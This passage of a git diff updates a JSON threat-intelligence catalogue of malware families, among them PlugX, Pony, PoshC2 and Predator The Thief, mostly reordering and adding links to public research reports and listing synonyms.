"https://blogs.jpcert.or.jp/en/2017/04/redleaves---malware-based-on-open-source-rat.html", - "https://www.nortonlifelock.com/sites/default/files/2021-10/OPERATION%20EXORCIST%20White%20Paper.pdf", - "https://www.trendmicro.com/en_us/research/23/b/investigating-the-plugx-trojan-disguised-as-a-legitimate-windows.html", - "https://unit42.paloaltonetworks.com/atoms/shallowtaurus/", - "https://redalert.nshc.net/2022/04/14/hacking-activity-of-sectorb-group-in-2021/", - "https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european", - "http://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/", - "https://www.cybereason.com/blog/threat-analysis-report-plugx-rat-loader-evolution", - "https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/", - "https://www.youtube.com/watch?v=IRh6R8o1Q7U", - "https://cyberandramen.net/2022/01/06/a-gulp-of-plugx/", - "https://unit42.paloaltonetworks.com/plugx-variants-in-usbs/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", - "https://therecord.media/redecho-group-parks-domains-after-public-exposure/", - "https://www.uscc.gov/sites/default/files/2022-02/Adam_Kozy_Testimony.pdf", - "https://www.zdnet.com/article/chinese-state-hackers-target-hong-kong-catholic-church/", - "https://blog.malwarebytes.com/threat-analysis/2016/08/unpacking-the-spyware-disguised-as-antivirus/", - "http://blog.jpcert.or.jp/.s/2017/04/redleaves---malware-based-on-open-source-rat.html", - "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-pulling-pkplug-adversary-playbook-long-standing-espionage-activity-chinese-nation-state-adversary/", - "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf", - "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage", - "https://www.recordedfuture.com/chinese-group-calypso-exploiting-microsoft-exchange/", - "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/", - "https://countuponsecurity.com/2018/05/09/malware-analysis-plugx-part-2/", - "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", - "https://blog.viettelcybersecurity.com/p1-chien-dich-cua-nhom-apt-trung-quoc-goblin-panda-tan-cong-vao-viet-nam-loi-dung-dai-dich-covid-19/", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-0915.pdf", - "https://securelist.com/time-of-death-connected-medicine/84315/", - "https://tracker.h3x.eu/info/290", - "https://countuponsecurity.com/2018/02/04/malware-analysis-plugx/", - "https://www.ptsecurity.com/ww-en/analytics/calypso-apt-2019/", - "https://threatpost.com/chinese-apt-combines-fresh-hodur-rat-with-complex-anti-detection/179084/", - "https://news.sophos.com/en-us/2023/03/09/border-hopping-plugx-usb-worm/", - "https://www.virusbulletin.com/virusbulletin/2020/05/vb2019-paper-apt-cases-exploiting-vulnerabilities-regionspecific-software/", - "https://attack.mitre.org/groups/G0096", - "https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/", - "http://blog.airbuscybersecurity.com/post/2014/01/plugx-some-uncovered-points.html", - "http://blog.jpcert.or.jp/2017/02/plugx-poison-iv-919a.html", - "https://www.bleepingcomputer.com/news/security/chinas-apt-hackers-move-to-ransomware-attacks/", - "https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt", - "https://www.youtube.com/watch?v=C_TmANnbS2k", - "https://www.secureworks.com/research/bronze-president-targets-ngos", - "https://community.rsa.com/thread/185439", - "https://www.recordedfuture.com/chinese-apt-groups-target-afghan-telecommunications-firm/", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf", - "https://www.welivesecurity.com/2022/03/23/mustang-panda-hodur-old-tricks-new-korplug-variant/", - "https://lab52.io/blog/new-mustang-pandas-campaing-against-australia/", - "https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html", - "https://jsac.jpcert.or.jp/archive/2023/pdf/JSAC2023_2_LT4.pdf", - "https://www.fortinet.com/blog/threat-research/uncovering-new-activity-by-apt-", - "https://web.archive.org/web/20191214125833/https://contextis.com/media/downloads/AVIVORE_An_overview.pdf", - "https://secjoes-reports.s3.eu-central-1.amazonaws.com/Dissecting+PlugX+to+Extract+Its+Crown+Jewels.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-olive", - "https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn", - "https://www.secureworks.com/research/threat-profiles/bronze-atlas", - "https://www.contextis.com/en/blog/dll-search-order-hijacking", - "https://www.youtube.com/watch?v=6SDdUVejR2w", - "https://unit42.paloaltonetworks.com/unsigned-dlls/", - "https://www.bleepingcomputer.com/news/security/new-mustang-panda-hacking-campaign-targets-diplomats-isps/", - "https://www.secureworks.com/blog/bronze-president-targets-russian-speakers-with-updated-plugx", - "https://web.archive.org/web/20210925164035/https://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/", - "https://unit42.paloaltonetworks.com/pkplug_chinese_cyber_espionage_group_attacking_asia/", - "https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/", - "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf", - "https://blog.ensilo.com/uncovering-new-activity-by-apt10", - "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-handle-stack-strings/", - "https://www.welivesecurity.com/fr/2022/03/25/mustang-pandas-hodur-nouveau-korplug/", - "https://blog.vincss.net/2022/05/re027-china-based-apt-mustang-panda-might-have-still-continued-their-attack-activities-against-organizations-in-Vietnam.html", - "https://blog.xorhex.com/blog/mustangpandaplugx-2/", - "https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html", - "https://go.contextis.com/rs/140-OCV-459/images/White%20Paper_PlugX%20-%20Payload%20Extraction.pdf", - "https://unit42.paloaltonetworks.com/thor-plugx-variant/", - "https://www.cyber.gov.au/sites/default/files/2019-03/msp_investigation_report.pdf", - "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html", - "https://web.archive.org/web/20200424035112/https://go.contextis.com/rs/140-OCV-459/images/White%20Paper_PlugX%20-%20Payload%20Extraction.pdf", - "https://www.recordedfuture.com/china-linked-ta428-threat-group", - "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/", - "https://www.youtube.com/watch?v=qEwBGGgWgOM", - "https://st.drweb.com/static/new-www/news/2020/october/Study_of_the_ShadowPad_APT_backdoor_and_its_relation_to_PlugX_en.pdf", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/witchetty-steganography-espionage", - "https://www.darkreading.com/threat-intelligence/chinese-apt-bronze-president-spy-campaign-russian-military", - "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia", - "https://threatrecon.nshc.net/2019/03/19/sectorm04-targeting-singapore-custom-malware-analysis/", - "https://or10nlabs.tech/reverse-engineering-the-new-mustang-panda-plugx-downloader/", - "https://www.secureworks.com/research/threat-profiles/bronze-woodland", - "https://www.sophos.com/en-us/medialibrary/pdfs/technical%20papers/plugx-thenextgeneration.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-firestone", - "https://www.us-cert.gov/ncas/alerts/TA17-117A", - "https://twitter.com/xorhex/status/1399906601562165249?s=20", - "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", - "https://marcoramilli.com/2020/03/19/is-apt27-abusing-covid-19-to-attack-people/", - "https://www.secureworks.com/research/threat-profiles/bronze-overbrook", - "https://or10nlabs.tech/reverse-engineering-the-mustang-panda-plugx-loader", - "https://twitter.com/stvemillertime/status/1261263000960450562", - "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/", - "https://www.trendmicro.com/en_us/research/21/a/xdr-investigation-uncovers-plugx-unique-technique-in-apt-attack.html", - "https://www.youtube.com/watch?v=r1zAVX_HnJg", - "https://www.secureworks.com/blog/bronze-president-targets-government-officials", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf", - "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", - "https://attack.mitre.org/groups/G0001/", - "https://therecord.media/indonesian-intelligence-agency-compromised-in-suspected-chinese-hack/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://www.secureworks.com/research/threat-profiles/bronze-keystone", + "https://www.fortinet.com/blog/threat-research/uncovering-new-activity-by-apt-", + "https://www.nortonlifelock.com/sites/default/files/2021-10/OPERATION%20EXORCIST%20White%20Paper.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-riverside", + "https://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf", + "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia", + "https://lab52.io/blog/mustang-panda-recent-activity-dll-sideloading-trojans-with-temporal-c2-servers/", + "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia", + "https://unit42.paloaltonetworks.com/unsigned-dlls/", + "https://blogs.blackberry.com/en/2022/10/mustang-panda-abuses-legitimate-apps-to-target-myanmar-based-victims", "https://blogs.blackberry.com/en/2022/12/mustang-panda-uses-the-russian-ukrainian-war-to-attack-europe-and-asia-pacific-targets", - "https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/craftypanda-analysis-report", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://www.bleepingcomputer.com/news/security/new-mustang-panda-hacking-campaign-targets-diplomats-isps/", + "https://www.computerweekly.com/news/252471769/New-threat-group-behind-Airbus-cyber-attacks-claim-researchers", + "https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader", + "https://kienmanowar.wordpress.com/2022/12/27/diving-into-a-plugx-sample-of-mustang-panda-group/", + "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop", + "https://insights.oem.avira.com/new-wave-of-plugx-targets-hong-kong/", + "https://blog.viettelcybersecurity.com/p1-chien-dich-cua-nhom-apt-trung-quoc-goblin-panda-tan-cong-vao-viet-nam-loi-dung-dai-dich-covid-19/", + "https://blog.xorhex.com/blog/mustangpandaplugx-2/", + "https://blog.xorhex.com/blog/mustangpandaplugx-1/", + "https://go.recordedfuture.com/hubfs/reports/cta-2023-0330.pdf", + "https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/", + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor", + "https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf", + "https://secjoes-reports.s3.eu-central-1.amazonaws.com/Dissecting+PlugX+to+Extract+Its+Crown+Jewels.pdf", + "https://unit42.paloaltonetworks.com/atoms/shallowtaurus/", + "https://jsac.jpcert.or.jp/archive/2023/pdf/JSAC2023_2_LT4.pdf", + "https://blog.xorhex.com/blog/reddeltaplugxchangeup/", + "https://www.uscc.gov/sites/default/files/2022-02/Adam_Kozy_Testimony.pdf", + "https://www.sentinelone.com/labs/moshen-dragons-triad-and-error-approach-abusing-security-software-to-sideload-plugx-and-shadowpad/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://unit42.paloaltonetworks.com/plugx-variants-in-usbs/", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-0915.pdf", + "https://countuponsecurity.com/2018/05/09/malware-analysis-plugx-part-2/", "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf", - "https://decoded.avast.io/threatintel/apt-treasure-trove-avast-suspects-chinese-apt-group-mustang-panda-is-collecting-data-from-burmese-government-agencies-and-opposition-groups/", - "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", - "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://or10nlabs.tech/reverse-engineering-the-mustang-panda-plugx-loader", + "https://www.secureworks.com/research/threat-profiles/bronze-overbrook", + "https://blogs.jpcert.or.jp/en/2017/04/redleaves---malware-based-on-open-source-rat.html", + "https://www.secureworks.com/blog/bronze-president-targets-government-officials", + "http://blog.airbuscybersecurity.com/post/2014/01/plugx-some-uncovered-points.html", + "https://asec.ahnlab.com/en/49097/", + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://twitter.com/xorhex/status/1399906601562165249?s=20", + "http://blog.jpcert.or.jp/2017/02/plugx-poison-iv-919a.html", + "https://risky.biz/whatiswinnti/", + "https://www.youtube.com/watch?v=r1zAVX_HnJg", + "https://securelist.com/cycldek-bridging-the-air-gap/97157/", + "https://therecord.media/redecho-group-parks-domains-after-public-exposure/", "https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited", - "https://www.secureworks.com/research/threat-profiles/bronze-president" + "https://redalert.nshc.net/2022/04/14/hacking-activity-of-sectorb-group-in-2021/", + "https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn", + "https://st.drweb.com/static/new-www/news/2020/october/Study_of_the_ShadowPad_APT_backdoor_and_its_relation_to_PlugX_en.pdf", + "https://go.contextis.com/rs/140-OCV-459/images/White%20Paper_PlugX%20-%20Payload%20Extraction.pdf", + "https://www.nttsecurity.com/docs/librariesprovider3/default-document-library/craftypanda-analysis-report", + "https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html", + "https://www.youtube.com/watch?v=qEwBGGgWgOM", + "https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf", + 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"meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.polyvice", - "https://www.intrinsec.com/vice-society-spreads-its-own-ransomware/", - "https://www.sentinelone.com/labs/custom-branded-ransomware-the-vice-society-group-and-the-threat-of-outsourced-development/" + "https://www.sentinelone.com/labs/custom-branded-ransomware-the-vice-society-group-and-the-threat-of-outsourced-development/", + "https://www.intrinsec.com/vice-society-spreads-its-own-ransomware/" + ], + "synonyms": [ + "Chily" ], - "synonyms": [], "type": [] }, "uuid": "31017b7c-c023-4247-b37d-f15f2df5d25a", @@ -38289,28 +40092,28 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pony", - "https://www.secureworks.com/research/threat-profiles/gold-galleon", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://github.com/nyx0/Pony", + "http://www.secureworks.com/research/threat-profiles/gold-galleon", "https://www.secureworks.com/research/threat-profiles/gold-essex", "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.knowbe4.com/pony-stealer", - "https://www.uperesia.com/analysis-of-a-packed-pony-downloader", "https://int0xcc.svbtle.com/practical-threat-hunting-and-incidence-response-a-case-of-a-pony-malware-infection", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://www.youtube.com/watch?v=EyDiIAt__dI", "https://www.youtube.com/watch?v=y8Z9KnL8s8s", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://i.blackhat.com/asia-21/Thursday-Handouts/as21-Taniguchi-How-Did-The-Adversaries-Abusing-The-Bitcoin-Blockchain-Evade-Our-Takeover.pdf", - "https://github.com/nyx0/Pony", "http://www.secureworks.com/research/threat-profiles/gold-evergreen", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://www.knowbe4.com/pony-stealer", + "https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry", + "https://i.blackhat.com/asia-21/Thursday-Handouts/as21-Taniguchi-How-Did-The-Adversaries-Abusing-The-Bitcoin-Blockchain-Evade-Our-Takeover.pdf", + "https://www.secureworks.com/research/threat-profiles/gold-galleon", "https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/", + "https://www.youtube.com/watch?v=42yldTQ-fWA", + "https://www.uperesia.com/analysis-of-a-packed-pony-downloader", + "https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-jun-2017.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "http://www.secureworks.com/research/threat-profiles/gold-essex", "https://www.secureworks.com/research/threat-profiles/gold-evergreen", - "https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry", - "https://www.youtube.com/watch?v=42yldTQ-fWA", - "https://intel471.com/blog/a-brief-history-of-ta505", - "http://www.secureworks.com/research/threat-profiles/gold-galleon", - "https://www.youtube.com/watch?v=EyDiIAt__dI", - "https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-jun-2017.pdf" + "https://intel471.com/blog/a-brief-history-of-ta505" ], "synonyms": [ "Fareit", @@ -38326,8 +40129,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.poohmilk", - "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/", - "http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + "http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", + "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/" ], "synonyms": [], "type": [] @@ -38353,12 +40156,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.poorweb", - "https://blog.reversinglabs.com/blog/poorweb-exploiting-document-formats", "https://securelist.com/apt-trends-report-q2-2018/86487/", + "https://asec.ahnlab.com/ko/18796/", "https://fortiguard.com/resources/threat-brief/2019/05/10/fortiguard-threat-intelligence-brief-may-10-2019", "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/", - "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", - "https://asec.ahnlab.com/ko/18796/" + "https://blog.reversinglabs.com/blog/poorweb-exploiting-document-formats", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" ], "synonyms": [], "type": [] @@ -38384,9 +40187,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.portdoor", "https://www.socinvestigation.com/chinese-new-backdoor-deployed-for-cyberespionage/", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Targeted-attack-on-industrial-enterprises-and-public-institutions-En.pdf", "https://medium.com/@Ilandu/portdoor-malware-afc9d0796cba", - "https://www.cybereason.com/blog/research/portdoor-new-chinese-apt-backdoor-attack-targets-russian-defense-sector", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Targeted-attack-on-industrial-enterprises-and-public-institutions-En.pdf" + "https://www.cybereason.com/blog/research/portdoor-new-chinese-apt-backdoor-attack-targets-russian-defense-sector" ], "synonyms": [], "type": [] @@ -38425,21 +40228,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.poshc2", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", - "https://github.com/jeFF0Falltrades/IoCs/blob/master/APT/poshc2_apt_33.md", "https://5851803.fs1.hubspotusercontent-na1.net/hubfs/5851803/Russian%20Ransomware%20C2%20Network%20Discovered%20in%20Censys%20Data.pdf", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf", - "https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html", - "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", - "https://paper.seebug.org/1301/", - "https://labs.nettitude.com/blog/detecting-poshc2-indicators-of-compromise/", - "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", - "https://ti.dbappsecurity.com.cn/blog/articles/2021/09/06/operation-maskface/", - "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", "https://github.com/nettitude/PoshC2_Python/", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", "https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/", + "https://redcanary.com/blog/getsystem-offsec/", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", + "https://paper.seebug.org/1301/", + "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", "http://www.rewterz.com/rewterz-news/rewterz-threat-alert-iranian-apt-uses-job-scams-to-lure-targets", - "https://redcanary.com/blog/getsystem-offsec/" + "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", + "https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html", + "https://ti.dbappsecurity.com.cn/blog/articles/2021/09/06/operation-maskface/", + "https://labs.nettitude.com/blog/detecting-poshc2-indicators-of-compromise/", + "https://github.com/jeFF0Falltrades/IoCs/blob/master/APT/poshc2_apt_33.md" ], "synonyms": [], "type": [] @@ -38452,9 +40255,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.poslurp", + "https://norfolkinfosec.com/fuel-pumps-ii-poslurp-b/", "https://www.root9b.com/sites/default/files/whitepapers/PoS%20Malware%20ShellTea%20PoSlurp.pdf", "https://atr-blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/", - "https://norfolkinfosec.com/fuel-pumps-ii-poslurp-b/", "https://twitter.com/just_windex/status/1162118585805758464" ], "synonyms": [ @@ -38471,9 +40274,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.poulight_stealer", "https://twitter.com/MBThreatIntel/status/1240389621638402049?s=20", - "https://www.youtube.com/watch?v=MaPXDCq-Gf4", "https://www.carbonblack.com/blog/tau-threat-discovery-cryptocurrency-clipper-malware-evolves/", - "https://blog.360totalsecurity.com/en/a-txt-file-can-steal-all-your-secrets/?web_view=true" + "https://blog.360totalsecurity.com/en/a-txt-file-can-steal-all-your-secrets/?web_view=true", + "https://www.youtube.com/watch?v=MaPXDCq-Gf4" ], "synonyms": [ "Poullight" @@ -38484,12 +40287,12 @@ "value": "Poulight Stealer" }, { - "description": "According to Trend Micro, Povlsomware (Ransom.MSIL.POVLSOM.THBAOBA) is a proof-of-concept (POC) ransomware first released in November 2020 which, according to their Github page, is used to “securely” test the ransomware protection capabilities of security vendor products.", + "description": "According to Trend Micro, Povlsomware (Ransom.MSIL.POVLSOM.THBAOBA) is a proof-of-concept (POC) ransomware first released in November 2020 which, according to their Github page, is used to \u201csecurely\u201d test the ransomware protection capabilities of security vendor products.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.povlsomware", - "https://www.trendmicro.com/en_us/research/21/c/povlsomware-ransomware-features-cobalt-strike-compatibility.html", - "https://youtu.be/oYLs6wuoOfg" + "https://youtu.be/oYLs6wuoOfg", + "https://www.trendmicro.com/en_us/research/21/c/povlsomware-ransomware-features-cobalt-strike-compatibility.html" ], "synonyms": [], "type": [] @@ -38503,8 +40306,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.poweliks", "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/", - "https://www.gdatasoftware.com/blog/2014/07/23947-poweliks-the-persistent-malware-without-a-file", - "https://www.zscaler.com/blogs/research/malvertising-targeting-european-transit-users" + "https://www.zscaler.com/blogs/research/malvertising-targeting-european-transit-users", + "https://www.gdatasoftware.com/blog/2014/07/23947-poweliks-the-persistent-malware-without-a-file" ], "synonyms": [], "type": [] @@ -38531,8 +40334,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.powercat", "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://twitter.com/VK_Intel/status/1141540229951709184", - "https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/" + "https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/", + "https://twitter.com/VK_Intel/status/1141540229951709184" ], "synonyms": [], "type": [] @@ -38545,8 +40348,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.powerduke", - "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/", - "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/" + "https://cocomelonc.github.io/malware/2023/07/26/malware-tricks-35.html", + "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/", + "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" ], "synonyms": [], "type": [] @@ -38613,10 +40417,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.powersniff", "https://atr-blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/", + "https://afyonluoglu.org/PublicWebFiles/Reports-TR/2017%20FireEye%20M-Trends%20Report.pdf", "https://lokalhost.pl/gozi_tree.txt", "https://unit42.paloaltonetworks.com/powersniff-malware-used-in-macro-based-attacks/", - "https://content.fireeye.com/m-trends/rpt-m-trends-2017", - "https://afyonluoglu.org/PublicWebFiles/Reports-TR/2017%20FireEye%20M-Trends%20Report.pdf" + "https://content.fireeye.com/m-trends/rpt-m-trends-2017" ], "synonyms": [ "PUNCHBUGGY" @@ -38631,13 +40435,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.power_ratankba", - "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/", - "https://content.fireeye.com/apt/rpt-apt38", "https://www.flashpoint-intel.com/blog/disclosure-chilean-redbanc-intrusion-lazarus-ties/", + "https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://content.fireeye.com/apt/rpt-apt38", + "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/", "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/" + "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf" ], "synonyms": [ "QUICKRIDE.POWER" @@ -38666,16 +40470,16 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.predator", "https://www.secureworks.com/research/threat-profiles/gold-galleon", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.fortinet.com/blog/threat-research/predator-the-thief-new-routes-delivery.html", - "https://securelist.com/a-predatory-tale/89779", - "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_4_ogawa-niseki_en.pdf", - "https://fumik0.com/2018/10/15/predator-the-thief-in-depth-analysis-v2-3-5/", - "https://fumik0.com/2019/12/25/lets-play-again-with-predator-the-thief/", "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://fumik0.com/2018/10/15/predator-the-thief-in-depth-analysis-v2-3-5/", + "https://securelist.com/a-predatory-tale/89779", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://fumik0.com/2019/12/25/lets-play-again-with-predator-the-thief/", + "https://www.fortinet.com/blog/threat-research/predator-the-thief-new-routes-delivery.html" ], "synonyms": [], "type": [] @@ -38684,12 +40488,12 @@ "value": "Predator The Thief" }, { - "description": "Ransomware.", + "description": "According to PCrisk, Prestige is ransomware - malware that prevents victims from accessing (opening) their files by encrypting them. Additionally, Prestige appends the \".enc\" extension to filenames and drops the \"README\" file containing a ransom 